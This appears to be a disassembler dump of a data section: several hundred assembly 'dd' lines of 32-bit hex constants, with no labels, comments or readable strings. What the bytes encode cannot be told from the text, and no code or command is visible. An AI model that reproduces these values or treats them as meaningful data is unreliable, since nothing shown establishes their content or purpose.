		dd 0FCE965ABh, 0C377717h, 99EF0404h, 0F180C881h, 3080F602h
		dd 6A5AA5C0h, 0C6510702h, 57E4D2CDh, 35AF3867h,	0C33A0108h
		dd 0D4D74F9Ah, 1A265916h, 7502F0CAh, 5DF7EA99h,	11439814h
		dd 0BB30F0F2h, 368A1DACh, 6C2C7DD2h, 0F7F03362h, 0F4B05284h
		dd 1ADB08EEh, 5F801164h, 0EC7910Ah, 8845971Eh, 0BBB05A90h
		dd 0DE583F06h, 0EB720050h, 0EAF77786h, 1FFA26B5h, 201A07E0h
		dd 887419DDh, 34D5F563h, 1D21AD29h, 49DE5818h, 3AE912E6h
		dd 650F7030h, 0CBEA0B45h, 7C90A6B7h, 0DF8228F4h, 0F7C06490h
		dd 5721FC16h, 5F1168A7h, 5C6E5FE4h, 66535E1Eh, 0B27912C1h
		dd 4E370BD0h, 93E50145h, 342CDFEEh, 0FCD13589h,	12D542h
		dd 0B553CC3Fh, 0A728C595h, 0CF64F845h, 0C2B83563h, 0FA03B42Eh
		dd 1D25B98Eh, 34BBA59Ah, 0B858BD94h, 2107D0Ch, 47959D4h
		dd 3ADD06B9h, 404D55C4h, 3CCE04Fh, 9F7FD9Ch, 86BFCBE7h
		dd 1884BA5Dh, 9F7FBE8h,	2AED291Dh, 645B90F0h, 6B3B78B1h
		dd 0D88900C0h, 0C18D1FF3h, 547902BDh, 0B9D29738h, 1DE29C56h
		dd 0B328F05Bh, 8A100088h, 4642FAE1h, 91875507h,	0C6656798h
		dd 0F38660A8h, 8CBCD0B4h, 5F2619DCh, 3F9AE8F7h,	764D3C09h
		dd 355E622Ch, 0F603474h, 97D63A77h, 56D36CA4h, 0BFC6DAE0h
		dd 1D2D286Eh, 0E8F89861h, 2960045Bh, 0BA98731Ah, 6EBE5413h
		dd 72004E8h, 0CC819F7Dh, 0AF0438FCh, 8AD7417h, 466BC0B9h
		dd 0E6A7C225h, 101097E4h, 3A00FC6Ah, 0F3C999DBh, 1F6A9E3h
		dd 1576198h, 2F3395F8h,	6EFFF435h, 9EB30068h, 9A51E773h
		dd 0C13A2597h, 22E42867h, 0B499C760h, 61963493h, 4F68B0CCh
		dd 0B450FCDCh, 0FAA850E9h, 594AFC00h, 0F80702BCh, 89CA8E7h
		dd 0CCFE00C5h, 679DFC93h, 42136F7Fh, 0A8B13818h, 80F09B2Ah
		dd 0DF55B0D7h, 12447BF1h, 0BFED044Bh, 6EAAB874h, 0C24713CCh
		dd 0A9C39804h, 0C77E6505h, 0F796A51Ch, 0F0F3A1ECh, 6E5570h
		dd 1F315CFDh, 0CC3A6F91h, 849E9CE6h, 7BBA7245h,	38BF0E7Ch
		dd 0F59467C4h, 90018F90h, 0BB072DE9h, 18CAA820h, 0AB2DE85Dh
		dd 2A38C0D7h, 0D1BE446Dh, 89AC783Fh, 0D536AA5Ch, 0EED5B810h
		dd 489E2B00h, 8F935E38h, 3E0AEE03h, 0D685D30Dh,	5E356E15h
		dd 0A44284E8h, 7CCBAE22h, 93AC5049h, 17302502h,	0FF56911Eh
		dd 6E16890h, 75976301h,	709A0DBDh, 7810D82Eh, 60C4ED95h
		dd 0D16F527Ah, 0D324E248h, 0A86FBEh, 7AD0C193h,	0BC0A7F9h
		dd 0B63CCB16h, 6343247Ch, 0C8EB8422h, 0A640674Ch, 450490DCh
		dd 0A4C27B43h, 0C40209DDh, 0EF55DC0Ch, 99D14080h, 0CD036233h
		dd 0B2D832B3h, 0AB2027D5h, 745ACC74h, 33C30940h, 5325E074h
		dd 0E7F370C0h, 7F137177h, 0AECA9Eh, 5F9C9030h, 70C9DE96h
		dd 946CE0D5h, 0B193F138h, 3C11BAC5h, 3A4BCE4h, 0C75F44C2h
		dd 79A29974h, 54E440D7h, 6AF441ECh, 6C0804E6h, 9B0102B8h
		dd 164EEB5Fh, 401CB22Bh, 13E89FDCh, 620259Dh, 0B00210A8h
		dd 8D386A6Eh, 992C225Dh, 0ECCED5B3h, 4754CDBDh,	6406060h
		dd 825AC696h, 0FC1E0B8h, 74E13A8Fh, 40168820h, 2CC45267h
		dd 22DCCAABh, 31753D10h, 7929D602h, 0B75D5DCh, 0BBC4587Ch
		dd 0FBE070FCh, 3881D24Bh, 8D7AA688h, 0F63AC8h, 0C4827BE2h
		dd 0F702E384h, 70C7D597h, 0BE1D4A05h, 8AE5F4E0h, 0E80490D5h
		dd 93BF005Dh, 8F896EC8h, 1100DC61h, 35A0B191h, 8704EA3h
		dd 0E8F74CAAh, 1D0807B8h, 7B30B9EBh, 201F975h, 33A8BCA2h
		dd 90B76A12h, 5E82F380h, 5AE7C440h, 5EFCF7AFh, 90E054B6h
		dd 41014D45h, 520F8CBDh, 8070A535h, 88074F5Dh, 0CB3E0B6Ch
		dd 558808Ch, 0D76A5B1Ah, 33880071h, 3E6DF585h, 59CBEC84h
		dd 40885CB6h, 18DDD39Ch, 12032AE0h, 896427EDh, 16038625h
		dd 12D78166h, 99FA73h, 0FC67B82Bh, 12ACFA79h, 0AAB13DC8h
		dd 1929EBC8h, 5B0BF195h, 0E6F67AFFh, 0E7ACACE7h, 0FFB86702h
		dd 12221B5h, 0AF0C870Fh, 4033FE2Bh, 1FA1BD01h, 3595FF80h
		dd 1F0C2015h, 4E22B6FDh, 63532406h, 513EB060h, 0A27B2582h
		dd 22F48DEh, 0BCF7B1A3h, 0D2C4FF6Bh, 6223FD00h,	1F1A610Dh
		dd 937A0080h, 0C2367F9Dh, 663C70E6h, 0E4B912BFh, 31BDF204h
		dd 3115F3AEh, 805649F9h, 0F65BB860h, 29C804B6h,	0BF31859Dh
		dd 0BD1F28F6h, 0C168A201h, 0B507B42h, 24DD20BDh, 4E8C101h
		dd 23B1B531h, 14E4B92Bh, 0D82C8C0Fh, 0CC82B1Fh,	2CE19589h
		dd 0F05D169h, 0BE9DEBFh, 58D3604h, 4DD7BB43h, 858B3BB8h
		dd 36255135h, 0A43D2800h, 683449Bh, 0B70F07C0h,	0BA800CF8h
		dd 1E0A58F7h, 0B2E8349Ch, 0E09FA340h, 0A64B01D1h, 99D8B33h
		dd 5F4E860Fh, 44EED03Bh, 0A4C45722h, 5B032A81h,	1B4A54E9h
		dd 0A0440EBh, 0E7F23A96h, 3EAED00h, 603BB5D5h, 0F88B25CAh
		dd 8992195Dh, 951759D8h, 8442755Eh, 0FE60252Ah,	29339ACCh
		dd 0A6C995h, 0F4A2E281h, 0A5508361h, 8BFAFE28h,	8AA6DE68h
		dd 0E9FB064Fh, 3E8DE045h, 72563B5h, 6B37DDh, 919B619Ch
		dd 0FF06BBABh, 66E1F855h, 0EF50D7DCh, 2501C16Eh, 0BD298534h
		dd 44B17B5Dh, 0A8DCBD2Bh
		dd 5E138C16h, 90AB57DCh, 0FF77C1EFh, 0F8AA3101h, 0D19653CCh
		dd 11F0D221h, 81D50267h, 93DB947h, 0D9BF3648h, 2FFCCAA1h
		dd 92B8AAA9h, 2111AE4Ch, 0F9BF0403h, 8B6ABFCh, 61CE71B7h
		dd 76B92AFCh, 0B82FF95Eh, 888E3EE7h, 8936D003h,	2B4D585h
		dd 0FF8BD22Bh, 310866E4h, 30281BDh, 0D1C233ADh,	83D06C00h
		dd 0F47504E9h, 89952409h, 0CFBBA44Ah, 2DBDB542h, 68880D03h
		dd 2AC85E17h, 0D195124Bh, 709BAA31h, 167CDC0h, 290C58D7h
		dd 5903F985h, 0C5A4908Dh, 705E80Ch, 84159E29h, 583AC7B8h
		dd 0F505B8Fh, 0D184FC2h, 0A6E308C1h, 5819CBE9h,	0A3D210F7h
		dd 67370068h, 0FD80986Bh, 0F50339E4h, 1D65BD83h, 0E0FE5003h
		dd 73549761h, 0ED9600F4h, 623DAB63h, 0DD064D17h, 85BD89E2h
		dd 1F84865h, 53E1CED9h,	1C898DE0h, 210324Dh, 0FF6D9DC3h
		dd 9F5255E1h, 0A195900h, 4267785Dh, 0F7D70076h,	270B4792h
		dd 0AA09B656h, 34181C7h, 715FDFE8h, 122143DCh, 9BAF0411h
		dd 0F828C0DCh, 518DB7Ah, 4A75DD9Eh, 13222F9h, 9756FA06h
		dd 0FDCA9D6h, 36A995CEh, 64683AC0h, 3D90F908h, 0FBBF1FF6h
		dd 49CA00E3h, 0EFADB250h, 80D6CD3Fh, 4FF1B061h,	0A9CC92Fh
		dd 0B574FCA1h, 0F424E51h, 0BB207386h, 2541A9C9h, 35DF6074h
		dd 66A280ECh, 12B7D98Ch, 4E18013h, 4C00CB6Fh, 0ECFAA286h
		dd 0FC12A3C9h, 307AE7Eh, 0AA725CBh, 0A018ADBAh,	0B014B335h
		dd 13C12E9Ch, 0A8E4F6BAh, 45AABC01h, 0E9BD03CEh, 10331D34h
		dd 0D1C7985h, 19D98D31h, 1E14C307h, 0E221E14h, 7834F20Fh
		dd 15F740F4h, 7BC46E7h,	0E06F61A8h, 895380BFh, 0F1BF5B18h
		dd 2D1A3D5Fh, 9260B6C4h, 5201F9B7h, 6159DCB5h, 8FD00E68h
		dd 628EFA10h, 0DA8B6502h, 0F1E8C0FFh, 2C907F5Ah, 833A7B3h
		dd 86241405h, 0C0BA341Eh, 7E414D9Dh, 0EEC9E917h, 90F36720h
		dd 2C9EA1ABh, 8D362DBFh, 0C7702C22h, 77255399h,	2817E35h
		dd 46250677h, 95F4F8D4h, 63858656h, 91FE99FEh, 0F4E774E6h
		dd 8BEA6AADh, 3B582359h, 30B51A5Fh, 8EFB5D9Bh, 0C9369458h
		dd 0D5A78DE0h, 0ED7F2989h, 29306931h, 905A52h, 0A41F1D20h
		dd 0F4FE953Fh, 0FCC75FDEh, 226680DCh, 4B812ECBh, 5FACF8EAh
		dd 0EEB80CBDh, 0DEE8972Fh, 0DF31719Dh, 0FA6A96C5h, 9D9525h
		dd 0FBBF5014h, 2CCC3EB3h, 793248h, 6188D381h, 0FF5F748Ah
		dd 9018B548h, 2E491083h, 4468F800h, 81F06580h, 0BB166F90h
		dd 0A614B983h, 0DABFD247h, 1107C1DAh, 5B20D8CDh, 0B95412EBh
		dd 5005C80Bh, 0D0D1BFh,	0ACE45AFFh, 9590BF28h, 0DEA6F0Eh
		dd 320BEF59h, 0B5E2BB27h, 9B994CF3h, 0EDB378DCh, 8D37DE12h
		dd 0D5AF91FAh, 76A9C81Fh, 17FB6C00h, 0D00BC22Ch, 699EA037h
		dd 4A2A58E7h, 45BF916h,	909297Ah, 114D1D61h, 68E58116h
		dd 0BC3B5699h, 133894FAh, 5C4EC585h, 0FA36D3C7h, 7C56973Dh
		dd 40FC14D6h, 0BD10FB51h, 45AC4D23h, 27AC32EFh,	0F2BD574Ah
		dd 0FC6F8D00h, 34C9C20Ah, 0BA1D3FE9h, 27B0FEE6h, 0EB75CA71h
		dd 99C77200h, 0C3050AAh, 0E644E011h, 0E8C11E01h, 830EB410h
		dd 3F14CB0h, 0D0C2958h,	3636EBE7h, 396404DEh, 1B3316EEh
		dd 40282950h, 0CD581821h, 9570113h, 0C05A401Bh,	4812DEBBh
		dd 78011D44h, 3F3B649Eh, 0E062F8F5h, 0B86E1D92h, 166EFB4Bh
		dd 0D7D90302h, 0EB8271A0h, 0EA08207Dh, 59815A59h, 123B13BBh
		dd 204312Bh, 82606012h,	57822479h, 0B5847159h, 0B95517ADh
		dd 37772E27h, 84BC83B3h, 8094FA73h, 0BD89DAA2h,	4C5E0D4Dh
		dd 0F9282118h, 5071818h, 0B5F0F4D8h, 0D8787C7h,	0C0CC5B04h
		dd 50CF78F5h, 0EBF0652h, 342BB13Ah, 0BCCAAA90h,	0DDC9A1FAh
		dd 53607C6Dh, 0A0C85631h, 952F19ACh, 2DE83F6h, 0B9125EECh
		dd 540B413h, 0AAA521A9h, 1E8D1831h, 311D8510h, 1FD911EDh
		dd 0C4868900h, 2B605BC3h, 0D3D0F48Dh, 4B7CC380h, 0A6973461h
		dd 0A72EE02Bh, 0CA7C0570h, 0C07D3108h, 0C177BF91h, 5D4E3525h
		dd 295B1720h, 0F20AE6B3h, 0BB04C283h, 5089FB03h, 0C0DFAA20h
		dd 0A0BBF34Ch, 0A122D96Eh, 0B13B862h, 0F85745E2h, 0DE549612h
		dd 18297E02h, 4AD1FCACh, 9CF5C35Ch, 17510198h, 4A258D29h
		dd 9EA5B55h, 0CD5F1CB1h, 0E80E9D9h, 0B1218D0Bh,	0F06C8505h
		dd 8F20870Fh, 146256BFh, 879655E3h, 0F8C502Ch, 6F162B2Dh
		dd 0C619140Fh, 98C12AA4h, 0FD2570A5h, 0B0B05A9Fh, 31770107h
		dd 555CF5BFh, 65951031h, 0B70CC411h, 9759C791h,	4B46E817h
		dd 0E9B3124Bh, 93D0BE96h, 7136BCh, 6A84952Bh, 60504CE5h
		dd 809CBABh, 57E9F0B8h,	6171BAE4h, 6BEE964Bh, 0B49D007Eh
		dd 0C76D3D4Ch, 0CBBF059Ah, 63390287h, 0D8E30F8Eh, 5261D23Ch
		dd 3115949Dh, 0AE11EFEh, 0BC56A92Eh, 3BA81DA6h,	62744015h
		dd 9D310528h, 24114122h, 94FA8DBDh, 5334A002h, 9DA6AA3Fh
		dd 36305B0h, 0D7809C09h, 0FD178241h, 0C1BD2301h, 57C66B25h
		dd 378505B7h, 0DD4B2B86h, 0B97282F9h, 7D110E30h, 0A78BB01h
		dd 0FFF465E9h, 255F51C4h, 0D337C18Bh, 0BD09EB03h, 0EEBD4BE9h
		dd 0AA44027h, 438CE140h, 4402966Ch, 0ECBD939Ah,	1EEF5150h
		dd 0D9B4ED0h, 4742C909h, 80B1DE4h, 80E5416Ah, 3D263B09h
		dd 1B794Fh, 56D4EAA4h, 8B0F7EB5h, 5184F49Dh, 5FA92A5Fh
		dd 0F6B1A00Bh, 210014DEh, 0F4825CADh, 0BF85EE32h, 5B41CAF2h
		dd 0AA009C72h, 0B9D33E63h, 0C400E4F2h, 0B66D5272h, 9D0DF537h
		dd 2DE877Ch, 9608CB0h, 9C285D9Dh, 7A71138h, 20F57E87h
		dd 4A0E5765h, 7A09247Ch, 4D05C083h, 0AA66C023h,	0A9026D57h
		dd 0F995893Eh, 26595F29h, 80A3E814h, 39B7531Bh,	4EB648DDh
		dd 29238110h, 18D17B5Fh, 103B218h, 0E8B47874h, 6B1B0013h
		dd 0DFA56721h, 2F39C6EBh, 0D38600A6h, 71BBD581h, 751C0A36h
		dd 82CE72B7h, 1FFDBD01h, 3162F375h, 692C9DCEh, 97471E94h
		dd 184E48FEh, 0D1310B3Dh, 12D77A81h, 0BE19D9EAh, 81013DC8h
		dd 0DE85C375h, 6653806Eh, 0B003512Ch, 0EC8B9Bh,	1BBB02B6h
		dd 90443FDBh, 0D93B29B2h, 6BFF4AD5h, 0D5FA25CAh, 798F5420h
		dd 0C1006BDEh, 5E3289A5h, 5F3E258h, 0B7D4B16Eh,	358DA180h
		dd 599F363Eh, 0C4E92EB7h, 0C214F725h, 10A70A22h, 7604698Dh
		dd 10418577h, 88E5B7EFh, 505FD390h, 2B811ABBh, 278928F6h
		dd 604D6D55h, 5F9860F9h, 0BD1E5617h, 7A2DEF88h,	6EBF008Eh
		dd 0BF95385h, 0E80051A1h, 6FEE2B14h, 27643017h,	3D5F35FFh
		dd 0A11E8122h, 3CC5EEh,	950541E3h, 2A536B92h, 12AA53D0h
		dd 0B3BFA3D2h, 3734C86h, 0D1BB52FEh, 1992F479h,	0E0B14DFFh
		dd 87E1EE05h, 9460B938h, 625A860Fh, 9861F268h, 0AA9FA8h
		dd 80AE1BE6h, 0AD67D933h, 0A60126FCh, 9C0CB6A0h, 0BA61619Ah
		dd 89EE68FAh, 25920BDh,	0F99D291Eh, 118065E5h, 0D6A85132h
		dd 5CB0F922h, 0FB1D8007h, 19BF70E6h, 28A79112h,	12995104h
		dd 0F871E402h, 0C9B6356h, 21221043h, 64864A0Ah,	0C8DB4AD0h
		dd 0F71C8161h, 4E127F86h, 9903AFB2h, 832E3D3Fh,	72C12992h
		dd 0C9673060h, 25B20840h, 656061C5h, 0EAF0F381h, 0A63A6422h
		dd 78599CB3h, 5276360Fh, 0C82BFC16h, 0A878C8h, 0BFAA5E34h
		dd 91E05F92h, 9C7C2203h, 10521CEAh, 38130182h, 0D14AF85Bh
		dd 9302D024h, 0E057CCC7h, 80195910h, 31209D89h,	7C24950Ch
		dd 0C5B4AC84h, 0F1C26DDh, 32713031h, 4072A904h,	0DFC3367h
		dd 5AD82554h, 8D3117C1h
		dd 0B27D05B1h, 50FB4D2Ah, 95109829h, 503F61B1h,	5DF1E757h
		dd 1AA1A5FCh, 7DA83AFEh, 0FDE78080h, 7B96BD0Bh,	6D20D7A4h
		dd 83E8F695h, 327264DAh, 0FA4F96E8h, 8715171Ah,	92F2D16Eh
		dd 1076B65Bh, 8A610E43h, 821D0ADBh, 0BEA7C30Ah,	41E66F6Ah
		dd 3E1FC718h, 3181EDECh, 2B2A09BDh, 9D695E2Dh, 507C8BA8h
		dd 0F308AC06h, 2EB40B0Ch, 25D8BFCFh, 0C68B89FDh, 79F18019h
		dd 0FCE1880Ch, 5DAA014Fh, 0D7B7EF65h, 0AD3BE000h, 0C22589Eh
		dd 0AA4B25BDh, 2840196Ah, 8D81690Fh, 1E50E509h,	2B5F73C4h
		dd 0E724A6ABh, 9141D8F7h, 0DB509F58h, 4A2B051Ch, 0BF6BBFD2h
		dd 4A0A9400h, 0BC231718h, 32049712h, 2F8F40Bh, 5661D872h
		dd 535D7A6Fh, 8E965864h, 0F3D58917h, 0B03FDE88h, 5A240764h
		dd 805CB8DBh, 0BD3A6386h, 0AAFB4D28h, 16103520h, 44B4B75Bh
		dd 0BB72EF2Eh, 0B8B35AB6h, 0F185E216h, 5961ED49h, 0B55F25C3h
		dd 91FF80ADh, 2A928047h, 72B00C01h, 0D58A60A6h,	0A6A44F3Ch
		dd 0E25FA1F9h, 28CB0430h, 9C8194BDh, 0D1131322h, 2B204196h
		dd 0E6EAF074h, 0E036B24Ah, 822E795Ah, 0D28A8461h, 0B5952920h
		dd 569AAA11h, 788D560Fh, 46412D60h, 37AF14E6h, 0F701F7A4h
		dd 0B70FFBFFh, 0F07426DBh, 77061455h, 0E00D5B74h, 0B7257E3Bh
		dd 1150C5AFh, 12034C3Bh, 8DEB2651h, 0FA8492A1h,	0FF1327E3h
		dd 9F699BE1h, 29999485h, 1AD1B906h, 2A94954Eh, 0EB4BCA43h
		dd 8807273Fh, 0B2B2BE73h, 2376209Ah, 3606650Ah,	0AF0801C4h
		dd 42D7CD69h, 5E0C1B6h,	0B3252B46h, 90DC528h, 0ED750449h
		dd 53E6E082h, 57045C50h, 2A359D09h, 60FB8B02h, 5808F355h
		dd 377F8F7Ah, 0A05F5204h, 38B87269h, 5C3F558h, 2BD0C93Fh
		dd 1B1EAD26h, 6000ABEFh, 1F3D7688h, 846D4B8Dh, 0D8B6AF4Dh
		dd 61DEAFB1h, 0D9305895h, 37492597h, 4A95E2CCh,	4B0ECB2Ch
		dd 903A16Ah, 8D29E6C9h,	4A5C14AAh, 0C38F6DE9h, 51A1CEC9h
		dd 8D2A89FBh, 90AA2091h, 8A0A880Fh, 9E01D5C6h, 765F78E5h
		dd 0B4D4BF50h, 904B25BAh, 82FA357Dh, 8A4BC507h,	3251E8D0h
		dd 2B613164h, 0FF3E9CA9h, 52B21F28h, 6348B880h,	0A5D95369h
		dd 0F6DCEF00h, 0B97738Fh, 5B395D25h, 0DE50190Ch, 8A12AEA4h
		dd 0F9A758F9h, 0DEB06B56h, 8C0B6892h, 0C78589B8h, 6014E4DFh
		dd 9F8E0FF2h, 0F0C10391h, 5ACA4CC5h, 0E989F029h, 710A4226h
		dd 3F41A7FDh, 0E0AD142Fh, 0FA6EFA4Ah, 328CFA00h, 0B54274E3h
		dd 82952CE4h, 5E2DB4B4h, 0FCB72603h, 2BE07900h,	7BFAAB2Ah
		dd 0EDC04E7h, 0B854EB80h, 2988D2F0h, 0C1F324ABh, 6B073EA1h
		dd 51117E09h, 709857AFh, 2F1F12Fh, 69ED5C5Fh, 0F0018544h
		dd 1DD274F3h, 31683657h, 80287185h, 2B8076F2h, 0AC25A7F6h
		dd 0EFA70189h, 0D62250F1h, 47FC7690h, 13B49A07h, 6A61CB01h
		dd 0E7411946h, 0AC0431C9h, 6BFB4AE8h, 4A790020h, 562FB6D5h
		dd 303E016Eh, 8DB589C2h, 7F010203h, 50021DDAh, 0A8F8C6BBh
		dd 26395409h, 3D18DE48h, 0CAC0FC60h, 1740953h, 0B750B99Dh
		dd 28BCBF04h, 9BC1A9Eh,	1946ED7h, 6929C187h, 6E202079h
		dd 681C4005h, 0BD07FF09h, 0D3E90280h, 382D5E61h, 7F03FC3Bh
		dd 0B85589BFh, 9232BCE4h, 8948DBFBh, 0BDB1025Fh, 503048FDh
		dd 9981F251h, 929125C7h, 3988D894h, 0A69C1801h,	859DF1CEh
		dd 6D9A482h, 0D85798A7h, 0A4379D3Bh, 4F829614h,	29CF12EBh
		dd 0ACF1295Ah, 0BDA0969h, 162445BDh, 0BB988C61h, 82C3343Eh
		dd 0E81E934Dh, 8E8F2110h, 20F92EE0h, 63DAEF00h,	422DC92Eh
		dd 3E88744Fh, 0D680006Bh, 37716A58h, 470033C6h,	63FC1642h
		dd 90EEEA8h, 5F1870E3h,	0BA684579h, 0CA4A0511h,	0E953403Ch
		dd 0FE181D50h, 72E31D97h, 4DC4256h, 0B782B194h,	72B2BE6Eh
		dd 15102348h, 0CF81012Dh, 3CAAED4Ah, 0F208292Fh, 9C1C911Fh
		dd 34431400h, 2412C8CBh, 1DFA4873h, 46BEA089h, 0B367D321h
		dd 0B4DFDF9h, 54B6B8E2h, 0BDF96479h, 77DAD714h,	56C0D68Fh
		dd 86B28B85h, 0EEEF3825h, 3E35970Fh, 0BF64007h,	0FBCE6F4h
		dd 4D9589C2h, 96079178h, 0D98B6650h, 0F4CD7F59h, 0CF13FA61h
		dd 2565CBC4h, 327FAE12h, 0C91A560Bh, 0DDC0AF4Dh, 2838A46h
		dd 4BDE59EAh, 25C09315h, 7E82027Dh, 4B3110C5h, 522D2D9Dh
		dd 1E9E09A8h, 8CC0B040h, 0AA671290h, 0C991005Eh, 0A06FA101h
		dd 0BF661902h, 0B35F3D6Dh, 0BD9A3BD6h, 423BDDCBh, 385EDE46h
		dd 59BD826Fh, 0DECAD61Ah, 0A5251446h, 48D01BE2h, 132E0F41h
		dd 3F9AAA1Eh, 53C2A4C0h, 1D5FEB0Ch, 421E2F08h, 1809BBF3h
		dd 4D78ACBh, 7475FF9Bh,	0C049BC4Ch, 0D968F781h,	0F95B4008h
		dd 91B43597h, 0B514801Ah, 25028764h, 3DEEFB6Fh,	1C5C35B5h
		dd 0B3BCD3F2h, 1DF265BFh, 0B350E342h, 574CE937h, 3CE9206Bh
		dd 673AC2B0h, 0CDB200CCh, 0E2E3207Bh, 9790009Ch, 556C58B8h
		dd 9907BB37h, 5F28C107h, 0F0497F1Ah, 0BF254048h, 853A641Ch
		dd 2C16E6A5h, 605D6053h, 0C0CC179Bh, 78070800h,	0D9024151h
		dd 0BA7E3C70h, 0F760A02h, 0CC985CC2h, 8F7B4296h, 0CF83C500h
		dd 85295F61h, 25F1B655h, 0EA2D43C5h, 0E08CCD80h, 0FB34338Dh
		dd 50BB1F15h, 0C7BF0299h, 926CF9C9h, 0D5D2577Dh, 5C14FB00h
		dd 0BA0F17Bh, 637100FEh, 99C4614Fh, 9997DF39h, 0A82FE934h
		dd 1209F846h, 0F710E59Dh, 0ECDE5053h, 54CD404Bh, 0D28913E4h
		dd 0F9290498h, 0E235BC0Bh, 92BF88h, 0EC987754h,	1698C667h
		dd 27842571h, 0BD1D01FDh, 2D801B91h, 0CF6D753Eh, 4C9E7912h
		dd 4AB735A0h, 0F940FFD8h, 0F72625A6h, 2E9751Bh,	5B90E7BFh
		dd 58506661h, 59992C4h,	22AD9D42h, 0F477D5Eh, 0E7B809A4h
		dd 0FAF56292h, 8A586A5Eh, 60E913DCh, 0DB9BFEF2h, 510A55C2h
		dd 0DF41C1FCh, 81E02FEFh, 0C85C2713h, 48B25FFh,	2D2A52A8h
		dd 9EC1ECDEh, 5704DC63h, 0FB8B686Bh, 0BF4F9CBCh, 3A00C47Ah
		dd 0AF61685Dh, 0BE4E9BF8h, 50900B31h, 0F760207Eh, 0CF0FA2ADh
		dd 0A126E484h, 7440AA29h, 5FA481D2h, 0FD3A6A90h, 2727B87Bh
		dd 7861D633h, 0F867452Dh, 0C9FED20Ah, 64F68759h, 60F107B7h
		dd 0AD41FC57h, 855275B5h, 2F775E61h, 3224341h, 56528850h
		dd 3A56975Fh, 27F6A008h, 160BD77h, 0C8CE1F28h, 695F689Fh
		dd 0D3ED5F46h, 4610EE60h, 13A2F887h, 1E82BC40h,	8B54C203h
		dd 0FB756AF9h, 0C1D070D1h, 0BB165C00h, 31D6308Ch, 0DCF84B8Bh
		dd 0F42CD82h, 0FFBAB381h, 78292FD1h, 0B664537Ah, 0AD0E0A5h
		dd 0FEA0005Eh, 8C84B738h, 8009026Ah, 1860E1D7h,	72359A5h
		dd 2F1BEDDEh, 8128B065h, 0DC25D65Ch, 7420F5EFh,	0D1561823h
		dd 0AC80E104h, 95BC6144h, 0EDDD0115h, 6762B716h, 0DBBDB7C3h
		dd 5FE99540h, 64CB0D4Bh, 5FB76E10h, 504164CDh, 7A7A0491h
		dd 3559018Dh, 0E0E1B1C5h, 6085302Fh, 60C961F9h,	0FBE10D9h
		dd 12629B8Eh, 0EB8897FEh, 62C0556Dh, 280BDF85h,	2083D89Fh
		dd 309721F1h, 2B96080h,	47E8DE01h, 635E61F5h, 0BFBD2BC3h
		dd 0CFE5F789h, 402AED2Dh, 0FF6AE02Ch, 0D6657697h, 579749Fh
		dd 82EACF80h, 3BD4F9A1h, 1A0D8584h, 79A734BCh, 0B9A02E79h
		dd 112D520h, 96BB70E6h,	0CC6F0EE4h, 0E9FE8971h,	91B3044Ah
		dd 8102DF22h, 0BF2CD9F3h, 32E5E5Eh, 0D8D0950h, 0D75B4F27h
		dd 0F6405A92h, 0D525BD23h, 2835926h, 12D18D29h,	244B501Ah
		dd 3BFBC82Bh, 88604B7Fh, 9400DB75h, 6393804Eh, 3757B7B1h
		dd 0AB807EF0h, 0A9881271h
		dd 87E98903h, 0F305B971h, 0E6821BE3h, 0BB0B8108h, 1D2F50A6h
		dd 0BB1830Eh, 104459EAh, 254B198Fh, 8A1607CCh, 0F017167Ch
		dd 84F6E4B1h, 968C4F38h, 0D8194175h, 3D3FF8Dh, 9B001EF2h
		dd 6621085Ah, 3B257952h, 4514E494h, 0CA92F2Ch, 0CFA41660h
		dd 44009DD6h, 3005241Bh, 5183F2E3h, 92502FA5h, 4CC5E1BBh
		dd 75406D5Bh, 0D89A4BB3h, 3648E501h, 0A06E5EF1h, 0E6CD3450h
		dd 78AB1D60h, 2BB70DB5h, 699DF04Ch, 0F99B0B4Bh,	58CB1CC8h
		dd 896802A1h, 0E0E82D3Fh, 24591B40h, 9AC7B980h,	0B7560998h
		dd 0F3705B33h, 0AD784F93h, 0A6FA091Ch, 0C875174Ch, 7B8953Eh
		dd 0A205AEC6h, 5AB210F7h, 0E8524799h, 0CDFF00AEh, 102624E6h
		dd 20444A4Eh, 512C1C85h, 81674D00h, 888DD0E1h, 646A007Dh
		dd 0EEFEDE02h, 8013D584h, 2D9BFC5Bh, 3AB8BF8Ah,	290806A0h
		dd 0B2A85BDh, 47B7C02Bh, 5EADFB84h, 0D22BB6D1h,	1C0D043Ah
		dd 0F609BC35h, 0CA3D5584h, 0ACFBFD2Eh, 19105DEh, 0E6205D9Dh
		dd 378000C2h, 96B6AA8Fh, 0D812971Eh, 0FD25D5F9h, 761C1116h
		dd 0D55E80E5h, 0E28D84D3h, 90CFD084h, 0D29BB92Bh, 8A13E16Bh
		dd 0C3D8ABE6h, 2B0B4169h, 9A5A942Fh, 0F3D3891Fh, 0E67270A7h
		dd 0A061D305h, 0D4F9BD31h, 2585CA4Ah, 80DF7B2Eh, 0F74023FBh
		dd 8E001285h, 86E67FCDh, 258BB914h, 94C45FFAh, 928CF54Bh
		dd 79B51229h, 98E513h, 0C0BEDFBEh, 45781497h, 0D19E20C4h
		dd 25BD3044h, 5BC724CDh, 8101C611h, 80FA2ED3h, 3E282E40h
		dd 0F18D867Dh, 0FDFD561h, 0B53110FAh, 0C4600144h, 121B71ACh
		dd 0C88921B0h, 62252DF2h, 0F7D910h, 1F41A496h, 0B5049DA1h
		dd 45A5D573h, 4CC9DDC1h, 7C23DEC1h, 1275EF27h, 910C56F8h
		dd 5345096h, 5325B2B4h,	18185959h, 273F74DDh, 0B140A97Eh
		dd 90B5EAA8h, 8A2FE8h, 0E4C9C722h, 311BDF55h, 12090E5Ch
		dd 21E57C3Bh, 0BC97E93Ah, 4F907466h, 853C2052h,	0EC00209Eh
		dd 0A07D2ECFh, 1D4F02A7h, 9296A1B6h, 8462C468h,	3A1BF50h
		dd 800FDB2Ah, 7F4F41F4h, 9A1606C8h, 4A2F59DDh, 3E5A0295h
		dd 8D6041EAh, 292B4625h, 0D0004228h, 2140CCD6h,	16A1710Ch
		dd 85F53Fh, 89A0BF11h, 5B060AE7h, 0B9B18D1Bh, 615A0F34h
		dd 0F03DB350h, 0BEA6BF9Bh, 0DD6CB03Ch, 47D7144Dh, 58EF989Dh
		dd 3710B757h, 0D69FDC85h, 32C83D33h, 3DCADB80h,	0DFE2450Bh
		dd 0CDD5CB09h, 0F2E8FD54h, 5FE25B04h, 29061895h, 0D1D69785h
		dd 0DB466225h, 0B080DB6Eh, 0AB622746h, 20F558h,	21E5EF81h
		dd 0E96F1509h, 8D45700Ah, 0A72FE0DCh, 57020A3Bh, 88099D4Dh
		dd 0C1C9EAD9h, 5DA089C6h, 976171D0h, 10DE6B1Ah,	0A66C04DCh
